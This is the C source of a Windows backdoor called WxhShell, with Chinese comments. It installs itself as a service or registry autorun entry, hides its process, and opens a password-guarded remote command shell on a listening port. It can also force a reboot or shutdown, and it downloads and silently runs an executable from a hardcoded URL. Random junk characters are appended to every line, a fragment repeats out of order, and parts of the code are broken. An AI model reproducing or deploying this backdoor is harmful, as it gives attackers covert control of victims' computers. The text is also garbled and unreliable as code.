  // 关机 9efDM  
  case 'd': { &-yRa45?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DQQ]grU  
    if(Boot(SHUTDOWN)) 6DHK&<=D8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +?{"Q#.>;  
    else { mrP48#Y+l  
    closesocket(wsh); S{+t>en  
    ExitThread(0); 0!\C@wnH  
    } l/'GbuECm  
    break; f=F:Af!  
    } A*y4<'}<  
  // 获取shell 2d[q5p  
  case 's': { Xxg|01  
    CmdShell(wsh); V/ G1C^'/  
    closesocket(wsh); 73cb1 kfPd  
    ExitThread(0); Trv}YT.  
    break; :W*yfhLt  
  } i< ^X z  
  // 退出 Y\]ZIvTSb  
  case 'x': { )}@D\(/@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~v;I>ij  
    CloseIt(wsh); cAW}a  
    break; %Rc#/y  
    } 2?t@<M]  
  // 离开 o8g7wM]M  
  case 'q': { .dlsiBh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +; KUL6  
    closesocket(wsh); Z6Fu~D2U y  
    WSACleanup(); OX7=g$S 1  
    exit(1); hu}$\  
    break; e"S?qpJK  
        } P51M?3&=l  
  } R5uG.Oj-2  
  } b w P=f.  
,>a!CnK=  
  // 提示信息 j&d5tgLB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,_e [P  
} M}\h?s   
  } kK[4uQQ  
MbRTOH  
  return; oe*1jR_J`[  
} t eY@) F  
zEI+)|4?r  
// shell模块句柄 9&Jf4lC94  
int CmdShell(SOCKET sock) M&V'*.xz  
{ xS,24{-HJ  
STARTUPINFO si; QRQZ{m  
ZeroMemory(&si,sizeof(si)); 9eMle?pF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G"<#tif9K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [Yt{h9  
PROCESS_INFORMATION ProcessInfo; hC\ l \y  
char cmdline[]="cmd"; ( s3k2Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E!9WZY  
  return 0; k H.dtg_  
} r:g\  
FCE y1^u  
// 自身启动模式 %~!4DXrMk  
int StartFromService(void) 1+FVM\<&  
{ q?}C`5%D  
typedef struct iW` tr  
{ Ln h =y2  
  DWORD ExitStatus; >C|pY6  
  DWORD PebBaseAddress; 2RkW/) A9  
  DWORD AffinityMask; +fKOX#%  
  DWORD BasePriority; >yC=@Uq+  
  ULONG UniqueProcessId; U,=f};  
  ULONG InheritedFromUniqueProcessId; X4V>qHV72  
}   PROCESS_BASIC_INFORMATION; 5#DMizv6  
bJ^h{]  
PROCNTQSIP NtQueryInformationProcess; \Bo%2O%4  
!D??Y^6bI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,s[%,ep`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >rd#,r  
/$c87\  
  HANDLE             hProcess; EF`}*7)  
  PROCESS_BASIC_INFORMATION pbi; =^4Z]d  
bk0>f   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pa>C}jk}6  
  if(NULL == hInst ) return 0; 5CY%h  
[neuwdN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E5ce=$o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "-Q+!byh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m!<HZvq?vf  
N'`X:7fN  
  if (!NtQueryInformationProcess) return 0; 'ITq\1z  
Q~,Mzt"}W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P<PZ4hNx  
  if(!hProcess) return 0; sA2-3V<t8  
*] i hc u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jWrU'X  
xp^RAVXq`  
  CloseHandle(hProcess); \&Yn)|!  
25SWIpgG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eAy,T<#  
if(hProcess==NULL) return 0; c{M ,K  
=-U0r$sK+F  
HMODULE hMod; sO .MUj;  
char procName[255]; gm9*z.S\'  
unsigned long cbNeeded; 0kE[=#'.'  
F&B\ X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KQ\K :#  
.#( vx;  
  CloseHandle(hProcess); Q-<]'E#\(  
6 5g ovor  
if(strstr(procName,"services")) return 1; // 以服务启动 luoQ#1F?sl  
Aw#<:6-  
  return 0; // 注册表启动 _uIS[%4g  
} FZi@h  
g|~px$<iY  
// 主模块 h(|T.  
int StartWxhshell(LPSTR lpCmdLine) Z [!"x&H]h  
{ -#Zdf |  
  SOCKET wsl; ^DYS~I%s  
BOOL val=TRUE; 5$9$R(KU  
  int port=0;  *&_*G~>D  
  struct sockaddr_in door; "jL>P )  
_Y; TS1u  
  if(wscfg.ws_autoins) Install(); tV)CDA&Z  
f[o~d`z  
port=atoi(lpCmdLine); ',EI[ ]+  
%Ig$:I(o  
if(port<=0) port=wscfg.ws_port; ]oGd,v X  
<`nShP>vl  
  WSADATA data; bzi"7%c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "Rj PTRe:  
s=8H< 'l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v) n-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f.6>6%l  
  door.sin_family = AF_INET; dNe!X0[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iWCYK7c@.-  
  door.sin_port = htons(port); )?rq8VO  
B>2R-pa4~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ` Ig5*X4|  
closesocket(wsl); FV^jCseZ  
return 1; F^%w%E\  
} _b&|0j:Ud  
~,)jZ-fw  
  if(listen(wsl,2) == INVALID_SOCKET) { uxfh?gsL  
closesocket(wsl); DDrR9}k  
return 1; iH(7.?.r  
} <i~xJi%1#  
  Wxhshell(wsl); \J^#2{d  
  WSACleanup(); >=@-]X2%j  
&=@{`2&  
return 0; z D{]3pg  
qb"S   
} @)Vpj\jM-C  
:60v bO  
// 以NT服务方式启动 7H Har'=T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o}AXp@cqi  
{ qDdO-fPev  
DWORD   status = 0; F- ,gj{s  
  DWORD   specificError = 0xfffffff; khy'Y&\F;  
;<+efYmyc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zx#Gm=H4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X$kLBG_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ~~>m  
  serviceStatus.dwWin32ExitCode     = 0; !5*VBE\  
  serviceStatus.dwServiceSpecificExitCode = 0; p4VARAqi  
  serviceStatus.dwCheckPoint       = 0; I*rUe#$  
  serviceStatus.dwWaitHint       = 0; kvbZx{s  
!JCs'?A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7By7F:[b  
  if (hServiceStatusHandle==0) return; ? |M-0{  
v-8>@s jy8  
status = GetLastError(); OUulG16kK  
  if (status!=NO_ERROR) I5"wa:Z  
{ ^+(5[z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q>1BOH1by  
    serviceStatus.dwCheckPoint       = 0; Z=Y29V8  
    serviceStatus.dwWaitHint       = 0; <nk|Z'G E  
    serviceStatus.dwWin32ExitCode     = status; Nc+0_|,  
    serviceStatus.dwServiceSpecificExitCode = specificError; >G`p T#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hUMG}<  
    return; c9/w{}F  
  } JH?ohA  
Cv#aBH'N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5IU!BQU  
  serviceStatus.dwCheckPoint       = 0; //@6w;P  
  serviceStatus.dwWaitHint       = 0; 0+\725DJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gPMR,TU  
} 88?bUA3]  
Z`-$b~0  
// 处理NT服务事件,比如:启动、停止 )\+Imn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fJ}e  
{ i c{I  
switch(fdwControl) :w8{BIUN)  
{ S m(*<H  
case SERVICE_CONTROL_STOP: m H:Un{,  
  serviceStatus.dwWin32ExitCode = 0; T!jh`;D+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  u$?!  
  serviceStatus.dwCheckPoint   = 0; A'EI1_3{  
  serviceStatus.dwWaitHint     = 0; C%4ed#  
  { m>uG{4<-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MHwfJ{"zo  
  }  2s}S9  
  return; KM&P5}  
case SERVICE_CONTROL_PAUSE: 8^_:9&)i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7C|AiSH  
  break; l!p`g>$&f  
case SERVICE_CONTROL_CONTINUE: 7-S?RU]g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lT[,w9$  
  break; YnpN -Y%g  
case SERVICE_CONTROL_INTERROGATE: vP{i+s18B  
  break; $ #=d@Nw_  
}; JA^!i98{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R>c>wYt'f  
} ^; KC E  
QQAEG#.5  
// 标准应用程序主函数 "%T~d[M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #Y= A#Yz,{  
{ S. MRL,  
j~'.XD={  
// 获取操作系统版本 Hzz{wY   
OsIsNt=GetOsVer(); k8 #8)d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TQB) A9  
MZ3 8=nJ  
  // 从命令行安装 bidFBldKl  
  if(strpbrk(lpCmdLine,"iI")) Install(); bd /A0i?C  
0H_Ai=G  
  // 下载执行文件 qT?{}I  
if(wscfg.ws_downexe) { W*LC3B^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x(c+~4:_M  
  WinExec(wscfg.ws_filenam,SW_HIDE); SGKAx<U  
} &YIL As^8A  
 %lj5Olj  
if(!OsIsNt) { s_ZPo6p  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~ZafTCa;  
HideProc(); wH"9N+82M  
StartWxhshell(lpCmdLine); 8L[+$g`  
} yu_PZ"l  
else \]>821r  
  if(StartFromService()) /Am9w$_T[  
  // 以服务方式启动 rl.K{Uad  
  StartServiceCtrlDispatcher(DispatchTable); % Z6Q/+#fn  
else 7nPg2K&  
  // 普通方式启动 59nRk}^$se  
  StartWxhshell(lpCmdLine); bZ`#;D<  
@,<jPR.  
return 0; /3)\^Pof  
} HD<$0M|  
n1\$|[^6  
"I56l2dxd  
>FE8CH!W&  
=========================================== ") 8l'^Mq2  
|-JG _i  
)B]"""J  
wXQu%F3  
~2* LWH*@  
]{=y8]7  
" -gGw_w?)(  
+xuv+mo  
#include <stdio.h> X&[Zk5DU*  
#include <string.h> KaEaJ  
#include <windows.h> kO)Y|zQ  
#include <winsock2.h> 0=,Nz  
#include <winsvc.h> +VVn@=&?  
#include <urlmon.h> -+F,L8  
IWYQ67Yj   
#pragma comment (lib, "Ws2_32.lib") k*_Gg  
#pragma comment (lib, "urlmon.lib") 'n h^;  
`NhG|g  
#define MAX_USER   100 // 最大客户端连接数 =?|$}vDO[  
#define BUF_SOCK   200 // sock buffer pbKmFweq  
#define KEY_BUFF   255 // 输入 buffer v,n 8$,  
{n>.Y -=  
#define REBOOT     0   // 重启 8`S1E0s  
#define SHUTDOWN   1   // 关机 ksq4t  
n\;;T1rM  
#define DEF_PORT   5000 // 监听端口 &Sb)a  
bR3Crz(9G  
#define REG_LEN     16   // 注册表键长度 i).Vu}W#S  
#define SVC_LEN     80   // NT服务名长度 x((u  
Wm1dFf.>  
// 从dll定义API gy?uk~p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F7' MoH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $j,$O>V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); = V')}f~C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '-myOM7  
6}Y==GP t  
// wxhshell配置信息 [!U%''  
struct WSCFG { -f?  
  int ws_port;         // 监听端口 n U=  
  char ws_passstr[REG_LEN]; // 口令 Lvt3S .l  
  int ws_autoins;       // 安装标记, 1=yes 0=no ok6t| 7sq  
  char ws_regname[REG_LEN]; // 注册表键名 Gt{%O>P8t  
  char ws_svcname[REG_LEN]; // 服务名 {_tq6ja-<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0J?443A Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @V>]95RX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yv=L'0K&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :UT \L2 q=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U _pPI$ =  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OfrzmL<K  
v,opyTwG|  
}; $<nD-4p  
O!>#q4&]  
// default Wxhshell configuration xVsI#`<a  
struct WSCFG wscfg={DEF_PORT, h% >ZN-K)  
    "xuhuanlingzhe", XRV~yBIS  
    1, ,fiV xnQ  
    "Wxhshell", qJ5b;=  
    "Wxhshell", ?o)?N8U  
            "WxhShell Service", LV ]10v6  
    "Wrsky Windows CmdShell Service", BZv:E?1z  
    "Please Input Your Password: ", u~,hT Y(%  
  1, 5OPvy,e6  
  "http://www.wrsky.com/wxhshell.exe", G5|nt#>  
  "Wxhshell.exe" v~x`a0  
    }; F,as>X#  
cGs& Kn;h  
// 消息定义模块 PE;<0Cz\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ){mqo%{SO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m2~`EL>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LRw-I.z  
char *msg_ws_ext="\n\rExit."; kXdXyq  
char *msg_ws_end="\n\rQuit."; ,f%4xXI  
char *msg_ws_boot="\n\rReboot..."; d_:f-  
char *msg_ws_poff="\n\rShutdown..."; @r<2]RXlc  
char *msg_ws_down="\n\rSave to "; I] +OYWp  
J>+\a1{  
char *msg_ws_err="\n\rErr!"; CqWO 0  
char *msg_ws_ok="\n\rOK!";  Hxy=J  
tSni[,4Kq  
char ExeFile[MAX_PATH]; [c;0eFSi2  
int nUser = 0; ;>/Mal  
HANDLE handles[MAX_USER]; mS}.?[d"  
int OsIsNt; <k3KCt  
>;"%Db  
SERVICE_STATUS       serviceStatus; ;TC]<N.YJT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6Ik v}q_j  
hVyeHbx  
// 函数声明 ``]NB=N}{1  
int Install(void); hKh ad8  
int Uninstall(void); ajG_t  
int DownloadFile(char *sURL, SOCKET wsh); !yi*Zt~  
int Boot(int flag); Ve9) ?=!  
void HideProc(void); %<8?$-[  
int GetOsVer(void); mYfHBW:  
int Wxhshell(SOCKET wsl); +BM[@?"hrh  
void TalkWithClient(void *cs); b7+(g [O  
int CmdShell(SOCKET sock); S.>fB7'(?=  
int StartFromService(void); uMm`j?Y23q  
int StartWxhshell(LPSTR lpCmdLine); )l(DtU!E  
NZG ^B/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |F\fdB}?S:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /?j kVy*"  
N2|NYDQs  
// 数据结构和表定义 -ert42fN  
SERVICE_TABLE_ENTRY DispatchTable[] = CX2qtI8N?  
{ 3=?,Dv0P  
{wscfg.ws_svcname, NTServiceMain}, 7k%!D"6_R  
{NULL, NULL} ;FuST  
}; (QojIdHt  
9Y:.v@:}0  
// 自我安装 Ll%}nti  
int Install(void) 6uUzky  
{ } gwfe H  
  char svExeFile[MAX_PATH]; Jq"3xj   
  HKEY key; !K2QD[x  
  strcpy(svExeFile,ExeFile); Piw i  
 jrS$!cEo  
// 如果是win9x系统,修改注册表设为自启动 sUQ Q/F6  
if(!OsIsNt) { ,* \s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T tWzjt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o:*$G~. k  
  RegCloseKey(key); V@y&n1?6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f8UJ3vB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jUZ$vyT  
  RegCloseKey(key); X,lhVT |  
  return 0; t+pA9^$[ `  
    } <Mj{pN3  
  } NU'2QSU8  
} \R-'<kN.*  
else { JSylQ201  
{md5G$* %  
// 如果是NT以上系统,安装为系统服务 U|QP] 6v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q-@&n6PEOZ  
if (schSCManager!=0) p Djt\R<f  
{ Gf+X<a  
  SC_HANDLE schService = CreateService 9GT}_ ^fb  
  ( Gr}NgyT<!D  
  schSCManager, B+jh|@-  
  wscfg.ws_svcname, 8$RiFD ,  
  wscfg.ws_svcdisp, B>I :KGkV  
  SERVICE_ALL_ACCESS, _d^d1Q}V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +BhJske  
  SERVICE_AUTO_START, S{)K_x  
  SERVICE_ERROR_NORMAL, <gFisc/#r  
  svExeFile, ^xScVOdP  
  NULL, L&=r-\.ev  
  NULL, u(hJyo}  
  NULL, 0N]\f.=`  
  NULL, GjN6Af~}  
  NULL 92C; a5s  
  ); 9; 9ge  
  if (schService!=0) g HxRw  
  { E{^W-  
  CloseServiceHandle(schService); k}qCkm27  
  CloseServiceHandle(schSCManager); sk:B; .z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v>mK~0.$  
  strcat(svExeFile,wscfg.ws_svcname); u"wWekB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t.\Pn4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (F3R!n  
  RegCloseKey(key); CGb4C(%-7  
  return 0; c4Q9foE   
    } &sYxe:H  
  } SjF(;0k C  
  CloseServiceHandle(schSCManager); }7xcHVO8-  
} 9&6P,ts%Q  
} wZJbI[r  
k=d0%} `M(  
return 1; %\}5u[V  
} 'mm>E  
#_K<-m%9  
// 自我卸载 K3WaBcm  
int Uninstall(void) gLFTnMO  
{ RE D@|[Qh  
  HKEY key; H4T~Kv  
19[!9ci  
if(!OsIsNt) { +%WW8OX   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j/NX  
  RegDeleteValue(key,wscfg.ws_regname); p&4n"hC  
  RegCloseKey(key); <5#2^(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xoGrXt9&  
  RegDeleteValue(key,wscfg.ws_regname); ] O~$|Wk  
  RegCloseKey(key); [~G1Rz\h  
  return 0; vl+bc[ i~  
  } L(k`1E  
} 0ZLLbEfnPB  
} 4pelIoj  
else { ^K4?uABc  
yh|+Usa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9:=:P>  
if (schSCManager!=0) 3^$=XrD  
{ Bc-/s(/Eq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $b7@S`5  
  if (schService!=0) 8A::q;  
  { >#gDk K  
  if(DeleteService(schService)!=0) { .N# KW  
  CloseServiceHandle(schService); vg"*%K$a  
  CloseServiceHandle(schSCManager); p=kt+H&;  
  return 0; z[O*f#t  
  } ZSD7%gE<D  
  CloseServiceHandle(schService); o Q*LP{M  
  } tGbx/$Y   
  CloseServiceHandle(schSCManager); .yD 6$!6  
} l]Ym)QP  
} hd(TKFL^y  
!h<O c!9  
return 1; }s6Veosl  
} |YV> #l  
OQKc_z'"  
// 从指定url下载文件 ,q7FK z{  
int DownloadFile(char *sURL, SOCKET wsh) Zu>-y#Bw  
{ ;KEie@Ry  
  HRESULT hr; k\dPF@~Hvl  
char seps[]= "/"; :qAX9T'{t  
char *token; % -+7=x  
char *file; O?"uM>r  
char myURL[MAX_PATH]; myqwU`s  
char myFILE[MAX_PATH]; %3"U|Za+   
;mGPX~38  
strcpy(myURL,sURL); iC>%P&|-)|  
  token=strtok(myURL,seps); lk R^2P  
  while(token!=NULL) Of$R+n.  
  { V\]j^$  
    file=token; {X_I>)Wg  
  token=strtok(NULL,seps); qHo H h  
  } a'n17d&  
d+ZXi'  
GetCurrentDirectory(MAX_PATH,myFILE); ?_p!teb  
strcat(myFILE, "\\"); 9Nx%Sdu  
strcat(myFILE, file); I_N:j,Mx  
  send(wsh,myFILE,strlen(myFILE),0); R?2HnJh  
send(wsh,"...",3,0); TXf60{:f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z5*(xony0  
  if(hr==S_OK) N[fwd=$\#  
return 0; y9LO;{(  
else M&gi$Qs[E  
return 1; T/ eX7p1  
WSv%Rxr8L  
} $;~YgOVZ5  
P|p X F~  
// 系统电源模块 =K|#5p`  
int Boot(int flag) C@zG(?X  
{ N^PkSf[)h5  
  HANDLE hToken; @$;8k }  
  TOKEN_PRIVILEGES tkp; CF\wR;6k  
;_|4c7  
  if(OsIsNt) { 6U$e;cr6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \Y8 sIs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7sWe32  
    tkp.PrivilegeCount = 1; |-S+x]9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'O.f}m SS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); & BY\h:  
if(flag==REBOOT) { %4V$')rek  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "9"  
  return 0; EA9.?F  
} jENC1T(  
else { g>w {{G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ".N{v1  
  return 0; '|) ,?  
} Ht/#d6cQ  
  } aSxDfYN=R  
  else { R?/xH=u>  
if(flag==REBOOT) { 3hje  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?,+&NX3m  
  return 0; 'jO8C2Th%  
} l]Xbd{  
else { JRZp 'Ln  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D]rYg'  
  return 0; bAN>\zG+  
} r:E4Wi{\  
} F7nwV Dc*  
}A;YM1^$  
return 1; F< 5kcu#iL  
} 4<)*a]\c5M  
Z#(Y%6[u  
// win9x进程隐藏模块 i "X" -)#  
void HideProc(void) v}D0t]  
{ *QI Yq  
w Jp1Fl~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b!Nr  
  if ( hKernel != NULL ) a~LdcUYs  
  {  ST~YO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o:"(\$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eH!V%dX  
    FreeLibrary(hKernel); $ <C",&  
  } iQT0%WaHl  
*A8Et5HAv  
return; l{ql'm  
}  98^7pa  
j6$@vA)  
// 获取操作系统版本 _3wK: T{:  
int GetOsVer(void) b`j9}t Z  
{ MLM/!N 7  
  OSVERSIONINFO winfo; yJO Jw o^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $cwmfF2C  
  GetVersionEx(&winfo); !$ii*}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =h +SZXe<r  
  return 1; }Qe(6'l_  
  else K ;]dZ8  
  return 0; + @|u8+  
} W/WP }QM  
!Fxn1Z,  
// 客户端句柄模块 +]NpcE'  
int Wxhshell(SOCKET wsl) W&D{0i`y  
{ #R31V QwK5  
  SOCKET wsh; % WXl*  
  struct sockaddr_in client; S1@r.z2L  
  DWORD myID; ,aBy1K  
r&+C %  
  while(nUser<MAX_USER) 9(}d7y  
{ IR:{{ (  
  int nSize=sizeof(client); v@8SMOe %  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8'b ZR]  
  if(wsh==INVALID_SOCKET) return 1; JC~4B3!  
Mqk|H~l5c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9 BU#THDm  
if(handles[nUser]==0) Eyk:pnKJb  
  closesocket(wsh); /YU8L  
else 2Q@Jp`# ,4  
  nUser++; h8Oj E$ H  
  } J(maJuY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y;4g>ma0  
3 Fy C D4#  
  return 0; HINk&)FC  
} ]q[(z  
gW4fwE^  
// 关闭 socket l,(:~KH|  
void CloseIt(SOCKET wsh) 4}cxSl]jf!  
{ E4Ez)IaKyi  
closesocket(wsh); |;t{L^  
nUser--; t0v >J9  
ExitThread(0); 7r)]9_[(  
} !O}e)t  
B B'qbX3xK  
// 客户端请求句柄 Ie=gI+2  
void TalkWithClient(void *cs) K"5q387!  
{ c+T`X?.j  
YRf$?xa  
  SOCKET wsh=(SOCKET)cs; vdB2T2F  
  char pwd[SVC_LEN]; i^Jw`eAmT  
  char cmd[KEY_BUFF]; F^%\AA]8  
char chr[1]; Fv$w:r]q6  
int i,j; m$(OQ,E  
Mw-L?j0o[k  
  while (nUser < MAX_USER) { W?P4oKsql*  
M.Tp)ig\#  
if(wscfg.ws_passstr) { DTo"{!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w L>*WLfR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +%Kk zdS'  
  //ZeroMemory(pwd,KEY_BUFF); #Z `Tk)u/  
      i=0; 5WxNH}{  
  while(i<SVC_LEN) { (a-Lx2T  
99By.+~pX  
  // 设置超时 O0`ofFN  
  fd_set FdRead; /38I (0  
  struct timeval TimeOut; 77aUuP7Iw  
  FD_ZERO(&FdRead); n_LK8  
  FD_SET(wsh,&FdRead); TvT>UBqj=  
  TimeOut.tv_sec=8; ZU.E}Rn:  
  TimeOut.tv_usec=0; Bz>f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,3MHZPJ?k]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6@FhDj2X  
On!+7is'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cc`-34/%  
  pwd=chr[0]; K^tc]ZQ  
  if(chr[0]==0xd || chr[0]==0xa) { kRbJK  
  pwd=0; p}/D{|xO  
  break; aUc#,t;Qd  
  } <&O*' <6C  
  i++; a|4D6yUw|  
    } n&|N=zh  
DcM/p8da  
  // 如果是非法用户,关闭 socket T\6,@7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;~[}B v  
} WJa7  
F:jtzy"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9xw"NcL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dBovcc  
7^M$u\a)U  
while(1) { p W5D!z  
|S@  
  ZeroMemory(cmd,KEY_BUFF); #8M^;4N >[  
Z(R0IW  
      // 自动支持客户端 telnet标准   hy%5LV<(  
  j=0; Vjo[rUW  
  while(j<KEY_BUFF) { :7obxW1X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =ONM#DxH  
  cmd[j]=chr[0]; *mWl=J;u  
  if(chr[0]==0xa || chr[0]==0xd) { gN[t  
  cmd[j]=0; J]S30&?  
  break; ~!7x45( 1#  
  } ]>k8v6*=  
  j++; ycOnPTh  
    } t>*(v#WeZ  
3W#E$^G_v  
  // 下载文件 !^0vi3I  
  if(strstr(cmd,"http://")) { nec}grA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z0y~%[1X  
  if(DownloadFile(cmd,wsh)) g=qaq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3b_/QT5!  
  else 0CXXCa7!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `r3 klL,W'  
  } tf8xc  
  else { ^u"WWLZ  
0nB[Udk?  
    switch(cmd[0]) { gn~^Ajo  
